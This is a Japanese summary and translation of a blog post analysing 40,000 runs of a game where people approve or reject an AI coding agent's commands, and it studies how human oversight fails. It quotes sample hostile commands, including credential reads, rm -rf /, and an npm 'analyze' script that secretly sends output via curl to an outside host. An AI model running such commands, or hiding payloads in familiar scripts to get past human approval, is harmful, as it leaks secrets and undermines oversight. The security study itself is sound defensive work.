HN 日本語サマリー

← 一覧へ戻る
AI・機械学習

AIエージェントのコマンド承認、4万回のゲーム実行で3分の1の脅威を見逃す

Humans missed 1 in 3 threats approving AI agent commands across 40k game runs (scalex.dev)

316 pointsby Wirbelwind222 コメント

要約

AIコーディングエージェントのコマンドを人間が承認・拒否するブラウザゲームのデータ分析によると、平均的なプレイヤーは3分の1の脅威(悪意のあるコマンド)を見逃しました。特に、機密情報漏洩やコード実行につながるコマンドは、単純な破壊コマンドよりも見逃されやすい傾向があります。また、`npm run`のような一見無害なコマンドに悪意のあるスクリプトが隠されている場合、プレイヤーはしばしばそれに気づかず、コマンド承認のプロセスにおける人間の判断の難しさが浮き彫りになりました。

全文翻訳

AIエージェントのコマンド承認で、人間は4万回のゲームプレイ中に3件に1件の脅威を見逃す

数ヶ月前、私は小さなブラウザゲームを公開しました。このゲームでは、プレイヤーはAIコーディングエージェントのヒューマン・イン・ザ・ループとなり、時間的プレッシャーの中でエージェントのコマンドを承認または拒否します。コマンドには、git statusやnpm testのような定型的なものもあれば、エージェントが乗っ取られて秘密情報をリモートサーバーに送信していることを示すもの(例: cat ~/.aws/credentials)もあります。エージェントがコマンドを実行する際の脅威やその緩和策については、元の投稿で詳しく説明しています。

このゲームはHacker Newsでも注目を集め、統計機能(残念ながら後から追加しました)を追加した後、4万回以上のプレイと40万9千件の個別の承認/拒否決定のデータを詳しく調べることができます。最後の防衛線であるヒューマン・イン・ザ・ループがどのように機能したかを見てみましょう。

主要な数字

[画像: 全体的なゲーム統計]

  • 平均的なプレイヤーは3件に1件の脅威を見逃しました(平均精度66.3%)。
  • セッションの32.9%はマイナススコアで終了しました。承認された脅威によるペナルティと、安全なコマンドのブロックが、正しく行ったことすべてを上回りました。
  • プレイヤーの35.2%はすべての脅威を検知しましたが、安全なコマンドを5件に1件以下しかブロックしなかったのは20.8%だけでした。残りのプレイヤーは、すべてをブロックすること(「ヒューマン・ボトルネック」の称号を授与)でこれを達成しました。
  • 7%のプレイヤーはすべてのプロンプトを承認しました。--dangerously-skip-permissionsの熱心なファンです。

大きな注意点として、これは短いゲームであり、プレイヤーが見たコマンドの約34%が脅威でした。日常業務では、これらの脅威は(幸いなことに、これまでのところ)めったに発生しません。プレイヤーは人工的な時間的プレッシャーにさらされていましたが、これは現実世界での迅速なリリースを求める同様のプレッシャーが、同様に急いだ承認習慣につながる可能性があるという点で、それほど異ならないと主張できます。とはいえ、以下の数字は、脅威を互いに比較し、それらに対する一般的な認識を把握し、さらに「ヒューマン・イン・ザ・ループ」に依存することが有効な保護策であるという一般的な問題について、洞察を得るのに役立つと信じています。

脅威のカテゴリと見逃し率

カテゴリ例見逃し率
明らかに破壊的rm -rf /, chmod -R 777 /11.7%
持続的な改変crontab injection, git config hijack23.8%
漏洩 / コード実行curl to unknown APIs, typosquatted packages33.4%
スコープ違反cat ~/.aws/credentials, cat ~/.kube/config35.0%

明らかに破壊的なコマンドは最も確実に検知されます。実際に認証情報を漏洩するコマンドは、3倍も多く見逃されています。

npm runの盲点

ゲームで最も見逃されたコマンドはnpm run analyzeで、64.7%が承認されました。このコマンド自体は通常無害です。しかし、npm runが実際に行うのは、プロジェクトのpackage.jsonで定義されたスクリプトを実行することです。それは標準的なバンドルアナライザーであることもあれば、以前のファイル編集によって注入された悪意のあるコードである可能性もあります。確実を期すには、開発者はまず変更されたすべてのファイルを検査する必要がありますが、それはワークフローを遅くします。

ゲームでは、エージェントの履歴ログで内容が疑わしいことを示しています。

1✻ I'll run the bundle analyzer — it's already set up in the project scripts.
2  // package.json → scripts
3  "analyze": "webpack-bundle-analyzer stats.json | tee /dev/fd/1 |
4  curl -s -X POST https://api.bundle.track/report -d @-"

プレイヤーの3分の2はそれでも承認しました。これは、権限プロンプトのすぐ上にある履歴ログが(少なくともこのゲームの設定では)注意深く読まれていない可能性を示しています。ゲームにはこれらのうち3つがあり、最も見逃されたリストに登場します。

コマンド見逃し率順位(37の脅威中)
npm run analyze64.7%1位
npm run setup48.0%4位
npm run deploy44.9%8位

これら3つを合わせた見逃し率は52.5%(n=9,482)であり、他のすべての漏洩型攻撃の28.4%と比較して高くなっています。見慣れたスクリプト名でペイロードを隠すことは、ペイロードが履歴ログに表示されていても、その成功率を約2倍にします。

これは実際には、dns_snekがHacker Newsのスレッドで的確に述べた、より大きな問題の症状です。

危険なアクションがどのように無害と認識されるかの素晴らしい例です。特定のコマンドを承認するというモデル全体はまったくばかげています。

npm run build = package.jsonに書かれた任意のシェルコマンドを実行する

一方、エージェントは承認なしに以下のいずれかを行う可能性があります。

  • package.jsonを編集して任意のビルドコマンドを含める
  • build.js(npm run buildによって呼び出される)に悪意のあるコードを仕込む
  • node_modules/xyz/index.js(build.jsによってインポートされる)に悪意のあるコードを仕込む

ほとんどの場合安全なコマンドをユーザーに検証させることは、変更されたファイルのために安全ではなくなったコマンドに対しては、強力な保護策ではありません。コンテキストなしでは曖昧です。

プレッシャー下で見逃し率が増加

Anthropicは以前、Claudeコードにおける権限疲労は現実であると指摘し、以下の引用をしています。

ユーザーが見る承認が増えるほど、各承認への注意は薄れ、時間とともに監督がはるかに怠慢になる

これは短いゲームであり、ユーザーは脅威について警告されていますが、ゲームの実行終盤にかけて劣化の兆候が見られます。

[画像: セッション長の終盤で上昇する見逃し率]

上のグラフはセッション中の脅威の見逃し率を示しており、プレイはユーザーが完了したコマンド数に基づいてグループ化されています。完了したコマンド数が少ないユーザーは、コマンドをレビューするためにより多くの時間を費やしたか、エラーが発生した後にペナルティとして数秒間フリーズしたゲームのためかもしれません。単純にすべてをブロックしたユーザーはすべて削除しました。

すべてのグループは最初の数コマンドで改善し(ウォームアップ?)、その後、見逃し率は終盤に向けて上昇します。これは、時計が迫っているストレスや、プレイヤーが追加のコマンドをいくつか実行するために間違いを犯しやすくなっている可能性もあります。

警戒の代償:過剰なブロック

以下のコマンドは意図は無害でしたが、日常的にブロックされました。

  • npm config set registry https://npm.internal — 59%がブロックされました(内部ミラーを設定)。
  • rm -rf dist/ — 45%がブロックされました(ビルド出力をクリア、新しいビルド前に実行されることは珍しくない)。
  • kill $(lsof -t -i:3000) — 43%がブロックされました(サーバーがリッスンしているポートを解放、クラッシュしたプロセスによる可能性)。

これはヒューマン・イン・ザ・ループのジレンマのもう一方の側面です。ユーザーは実際には無害なコマンドを承認するように求められ、それらをブロックするとエージェントの速度が低下します。時間の経過とともに、このノイズはユーザーが警戒を緩め、悪意のあるコマンドを承認するようになる可能性があります。Anthropicの「Auto Mode」のような機能は、ユーザーに尋ねる前にコマンドが安全かどうかを自動的に判断しようとすることでこれを緩和しようとしますが、以前の投稿で述べたように、これらは完璧ではありません。

議論を呼ぶcatと欠落したコンテキスト

cat ~/.zshrcは45.9%のプレイヤーによって承認され、ゲームで最も意見が分かれたコマンドでした。HNで提起された異議はもっともです。多くの開発者はシェルプロファイルに秘密情報を保持していないため、彼らにとっては無害です。APIキーをエクスポートしている多くの人にとっては、認証情報の開示となります。コマンドのリスクは、エージェントが見ることのできないセットアップに完全に依存します。.zshrcから別の秘密ファイルにsourceしている場合、エージェントがより多くのアクセス権を得るリスクは軽減されます。これは十分に機密性が高いため、エージェントが直接アクセスできないようにすべきだと私は考えています。

他のいくつかのプロンプトも、コンテキストの欠如により同様に論争を呼びました。それらが曖昧であることには同意します。このゲームは、開発者に全体像なしでセキュリティ判断を求めるこのモデルが欠陥があることを示しています。

更新 2026-08-10: Auto Modeをデフォルトに

Anthropicは記事を公開しましたが、そこでClaudeのAuto Modeが、過度にプロンプトを出すモデルよりもデフォルトになることを発表しています。彼らは1,053人のテスターを対象とした内部研究を引用しており、これは「すべてをユーザーに尋ねる」アプローチが疲労を引き起こし(見逃し率が時間とともに減少する)、脅威を検知するのに効果的ではない(86.4%の見逃し率)ことを確認しています。

これは歓迎すべき変更ですが、見逃し率(Auto Modeでは11%の見逃し率を主張)に注意し、より優れたサンドボックスツールや、エージェントに付与する権限を減らすことで緩和する必要があります。

まとめ

これは学術研究ではなく単なるゲームですが、議論を追うのは楽しかったです。この実験は、AIコーディングエージェントのセキュリティ境界としてのヒューマン・イン・ザ・ループに関するいくつかの問題を示していると私は考えています。

ノイズの多さが疲労を引き起こし、開発者が完全なバイパスを選択するようになり、開発者はリスクを迅速に判断するために変更された内容のコンテキストを常に持っているわけではありません。

ツールの容易さ(サンドボックス化や厳密なコンテキスト分離など)を改善し、これらの保護策が整った後にのみエージェントに広範な権限を付与する必要があります。ヒューマン・イン・ザ・ループを許容可能なフォールバックとして指摘するのではなく、です。

それまでの間、開発者としては、それぞれのトレードオフとともに、さまざまなリスクと緩和戦略についてより意識を高める必要があります。元の投稿には、これらの実践的な緩和策の一部が記載されています。

運試しにゲームを試したい場合は、こちらで見つけることができます: https://llmgame.scalex.dev

[画像: Alex Wauters]

Alex Wauters

こんにちは、Alexです。開発者にとってセキュリティを容易にすることに情熱を注いでおり、それとソフトウェアシステムの構築とスケーリングのトレードオフについて執筆しています。Uberの元スタッフエンジニア。